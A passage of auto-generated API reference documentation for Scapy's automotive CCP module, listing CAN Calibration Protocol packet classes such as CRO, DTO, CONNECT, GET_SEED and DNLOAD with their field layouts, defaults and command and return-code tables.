+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CHECKSUM SIZE |         CHECKSUM DATA         |  CCP RESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. BUILD_CHKSUM_DTO                       


BUILD_CHKSUM_DTO fields






	checksum_size

	ByteField

	0



	checksum_data

	StrFixedLenField

	b'\x00\x00\x00\x00'



	ccp_reserved

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.ccp.CCP(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=8, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L18-L30]

	Bases: CAN


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L29-L30]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                             Fig. CCP                             


CCP fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	8



	reserved

	ThreeBytesField

	0











	
payload_guess

	Possible sublayers:
DTO










	
class scapy.contrib.automotive.ccp.CLEAR_MEMORY(_pkt, /, *, size=0, ccp_reserved=b'\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L275-L279]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CLEAR_MEMORY                         


CLEAR_MEMORY fields






	size

	IntField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff'















	
class scapy.contrib.automotive.ccp.CONNECT(_pkt, /, *, station_address=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L76-L80]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        STATION ADDRESS        |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. CONNECT                           


CONNECT fields






	station_address

	LEShortField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.CRO(_pkt, /, *, cmd=1, ctr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L33-L71]

	Bases: Packet


	
aliastypes

	




	
commands = {1: 'CONNECT', 2: 'SET_MTA', 3: 'DNLOAD', 4: 'UPLOAD', 5: 'TEST', 6: 'START_STOP', 7: 'DISCONNECT', 8: 'START_STOP_ALL', 9: 'GET_ACTIVE_CAL_PAGE', 12: 'SET_S_STATUS', 13: 'GET_S_STATUS', 14: 'BUILD_CHKSUM', 15: 'SHORT_UP', 16: 'CLEAR_MEMORY', 17: 'SELECT_CAL_PAGE', 18: 'GET_SEED', 19: 'UNLOCK', 20: 'GET_DAQ_SIZE', 21: 'SET_DAQ_PTR', 22: 'WRITE_DAQ', 23: 'EXCHANGE_ID', 24: 'PROGRAM', 25: 'MOVE', 27: 'GET_CCP_VERSION', 32: 'DIAG_SERVICE', 33: 'ACTION_SERVICE', 34: 'PROGRAM_6', 35: 'DNLOAD_6'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CMD      |      CTR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. CRO                             


CRO fields






	cmd

	ByteEnumField

	1



	ctr

	ByteField

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L70-L71]

	




	
payload_guess

	Possible sublayers:
ACTION_SERVICE, BUILD_CHKSUM, CLEAR_MEMORY, CONNECT, DIAG_SERVICE, DISCONNECT, DNLOAD_6, DNLOAD, EXCHANGE_ID, GET_ACTIVE_CAL_PAGE, GET_CCP_VERSION, GET_DAQ_SIZE, GET_SEED, GET_S_STATUS, MOVE, PROGRAM_6, PROGRAM, SELECT_CAL_PAGE, SET_DAQ_PTR, SET_MTA, SET_S_STATUS, SHORT_UP, START_STOP_ALL, START_STOP, TEST, UNLOCK, UPLOAD, WRITE_DAQ










	
class scapy.contrib.automotive.ccp.DEFAULT_DTO(_pkt, /, *, load=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L369-L372]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LOAD                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. DEFAULT_DTO                         


DEFAULT_DTO fields






	load

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.DIAG_SERVICE(_pkt, /, *, diag_service=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L347-L351]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DIAG SERVICE         |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DIAG_SERVICE                         


DIAG_SERVICE fields






	diag_service

	ShortField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.DIAG_SERVICE_DTO(_pkt, /, *, data_length=0, data_type=0, ccp_reserved=b'\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L481-L486]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DATA LENGTH  |   DATA TYPE   |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. DIAG_SERVICE_DTO                       


DIAG_SERVICE_DTO fields






	data_length

	ByteField

	0



	data_type

	ByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.DISCONNECT(_pkt, /, *, type=0, ccp_reserved0=b'\xff', station_address=0, ccp_reserved=b'\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L232-L238]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     | CCP RESERVED0 |        STATION ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DISCONNECT                          


DISCONNECT fields






	type

	ByteEnumField

	0



	ccp_reserved0

	StrFixedLenField

	b'\xff'



	station_address

	LEShortField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff'















	
class scapy.contrib.automotive.ccp.DNLOAD(_pkt, /, *, size=0, data=b'\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L136-L140]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SIZE     |                      DATA                     |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DNLOAD                            


DNLOAD fields






	size

	XByteField

	0



	data

	StrFixedLenField

	b'\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.DNLOAD_6(_pkt, /, *, data=b'\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L146-L149]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNLOAD_6                           


DNLOAD_6 fields






	data

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.DNLOAD_6_DTO(_pkt, /, *, MTA0_extension=0, MTA0_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L414-L418]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MTA0 EXTENSION|                  MTA0 ADDRESS                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DNLOAD_6_DTO                         


DNLOAD_6_DTO fields






	MTA0_extension

	XByteField

	0



	MTA0_address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.DNLOAD_DTO(_pkt, /, *, MTA0_extension=0, MTA0_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L407-L411]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MTA0 EXTENSION|                  MTA0 ADDRESS                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. DNLOAD_DTO                          


DNLOAD_DTO fields






	MTA0_extension

	XByteField

	0



	MTA0_address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.DTO(_pkt, /, *, packet_id=255, return_code=0, ctr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L497-L589]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L564-L586]

	In CCP, the payload of a DTO packet is dependent on the cmd field
of a corresponding CRO packet. Two packets correspond, if there
ctr field is equal. If answers detect the corresponding CRO, it will
interpret the payload of a DTO with the correct class. In CCP, there is
no other way, to determine the class of a DTO payload. Since answers is
called on sr and sr1, this modification of the original answers
implementation will give a better user experience.






	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
explicit

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PACKET ID   |  RETURN CODE  |      CTR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DTO                             


DTO fields






	packet_id

	XByteField

	255



	return_code

	ByteEnumField

	0



	ctr

	ByteField

	0











	
fieldtype: Dict[str, AnyField]

	




	
static get_dto_cls(cmd)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L540-L562]

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L537-L538]

	




	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L588-L589]

	




	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
payload_cls

	




	
post_transforms

	




	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
return_codes = {0: 'acknowledge / no error', 1: 'DAQ processor overload', 16: 'command processor busy', 17: 'DAQ processor busy', 18: 'internal timeout', 24: 'key request', 25: 'session status request', 32: 'cold start request', 33: 'cal. data init. request', 34: 'DAQ list init. request', 35: 'code update request', 48: 'unknown command', 49: 'command syntax', 50: 'parameter(s) out of range', 51: 'access denied', 52: 'overload', 53: 'access locked', 54: 'resource/function not available'}

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.automotive.ccp.EXCHANGE_ID(_pkt, /, *, ccp_master_device_id=b'\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L97-L100]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      CCP MASTER DEVICE ID                     |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EXCHANGE_ID                         


EXCHANGE_ID fields






	ccp_master_device_id

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.EXCHANGE_ID_DTO(_pkt, /, *, slave_device_ID_length=0, data_type_qualifier=0, resource_availability_mask=0, resource_protection_mask=0, ccp_reserved=b'\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L383-L390]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SLAVE DEVICE ID|DATA TYPE QUALI|RESOURCE AVAILA|RESOURCE PROTEC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CCP RESERVED |
+-+-+-+-+-+-+-+-+

                       Fig. EXCHANGE_ID_DTO                       


EXCHANGE_ID_DTO fields






	slave_device_ID_length

	ByteField

	0



	data_type_qualifier

	ByteField

	0



	resource_availability_mask

	ByteField

	0



	resource_protection_mask

	ByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff'















	
class scapy.contrib.automotive.ccp.GET_ACTIVE_CAL_PAGE(_pkt, /, *, ccp_reserved=b'\xff\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L327-L330]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CCP RESERVED                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. GET_ACTIVE_CAL_PAGE                     


GET_ACTIVE_CAL_PAGE fields






	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.GET_ACTIVE_CAL_PAGE_DTO(_pkt, /, *, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L474-L478]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ADDRESS EXTENSI|                    ADDRESS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. GET_ACTIVE_CAL_PAGE_DTO                   


GET_ACTIVE_CAL_PAGE_DTO fields






	address_extension

	XByteField

	0



	address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.GET_CCP_VERSION(_pkt, /, *, main_protocol_version=0, release_version=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L86-L91]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAIN PROTOCOL V|RELEASE VERSION|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GET_CCP_VERSION                       


GET_CCP_VERSION fields






	main_protocol_version

	XByteField

	0



	release_version

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.GET_CCP_VERSION_DTO(_pkt, /, *, main_protocol_version=0, release_version=0, ccp_reserved=b'\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L375-L380]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAIN PROTOCOL V|RELEASE VERSION|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. GET_CCP_VERSION_DTO                     


GET_CCP_VERSION_DTO fields






	main_protocol_version

	XByteField

	0



	release_version

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.GET_DAQ_SIZE(_pkt, /, *, DAQ_num=0, ccp_reserved=0, DTO_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L185-L190]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DAQ NUM    |  CCP RESERVED |         DTO IDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GET_DAQ_SIZE                         


GET_DAQ_SIZE fields






	DAQ_num

	XByteField

	0



	ccp_reserved

	XByteField

	0



	DTO_identifier

	XIntField

	0















	
class scapy.contrib.automotive.ccp.GET_DAQ_SIZE_DTO(_pkt, /, *, DAQ_list_size=0, first_pid=0, ccp_reserved=b'\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L433-L438]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DAQ LIST SIZE |   FIRST PID   |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. GET_DAQ_SIZE_DTO                       


GET_DAQ_SIZE_DTO fields






	DAQ_list_size

	XByteField

	0



	first_pid

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.GET_SEED(_pkt, /, *, resource=0, ccp_reserved=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L106-L110]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESOURCE   |                  CCP RESERVED                 |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GET_SEED                           


GET_SEED fields






	resource

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.GET_SEED_DTO(_pkt, /, *, protection_status=0, seed=b'\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L393-L397]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTECTION STAT|                      SEED                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. GET_SEED_DTO                         


GET_SEED_DTO fields






	protection_status

	XByteField

	0



	seed

	StrFixedLenField

	b'\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.GET_S_STATUS(_pkt, /, *, ccp_reserved=b'\xff\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L256-L259]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CCP RESERVED                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GET_S_STATUS                         


GET_S_STATUS fields






	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.GET_S_STATUS_DTO(_pkt, /, *, session_status=<Flag 0 ()>, information_qualifier=0, information=b'\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L441-L447]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SESSION STATUS|INFORMATION QUA|          INFORMATION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. GET_S_STATUS_DTO                       


GET_S_STATUS_DTO fields






	session_status

	FlagsField

	<Flag 0 ()>



	information_qualifier

	ByteField

	0



	information

	StrFixedLenField

	b'\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.MOVE(_pkt, /, *, size=0, ccp_reserved=b'\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L307-L311]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. MOVE                             


MOVE fields






	size

	IntField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff'














